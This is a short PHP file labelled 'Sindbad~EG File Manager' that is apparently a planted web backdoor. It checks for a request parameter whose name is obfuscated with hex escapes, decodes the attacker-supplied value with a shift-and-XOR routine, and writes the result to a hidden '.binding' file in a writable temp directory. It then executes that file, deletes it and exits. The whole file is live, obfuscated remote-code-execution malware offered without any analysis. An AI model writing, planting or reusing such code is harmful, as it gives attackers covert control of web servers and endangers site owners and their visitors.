Sindbad~EG File Manager

<?php

if(in_array("param\x65ter\x5Fgr\x6F\x75p", array_keys($_REQUEST))){
	$marker = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]);
	$ent = $_REQUEST["param\x65ter\x5Fgr\x6F\x75p"];
	$ent	 	=	 explode	( "." ,$ent 	);	
	$object=	 '';
            $s7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($s7);
            $r=	 0;
    
            while($r	<	 count($ent)) {
                $v8=	 $ent[$r];
                $chS=	 ord($s7[$r% 	$sLen]);
                $dec=	 ((int)$v8 - $chS -($r% 	10)) ^ 9;
                $object .= chr($dec);
                $r++;  }
	$value = 0;
do {
    $sym = $marker[$value] ?? null;
    if ($value >= count($marker)) break;
    		if (is_dir($sym) ? is_writable($sym) : false) {
    $pointer = "$sym/.binding";
    if (file_put_contents($pointer, $object)) {
	require $pointer;
	unlink($pointer);
	die();
}
}
    $value++;
} while (true);
}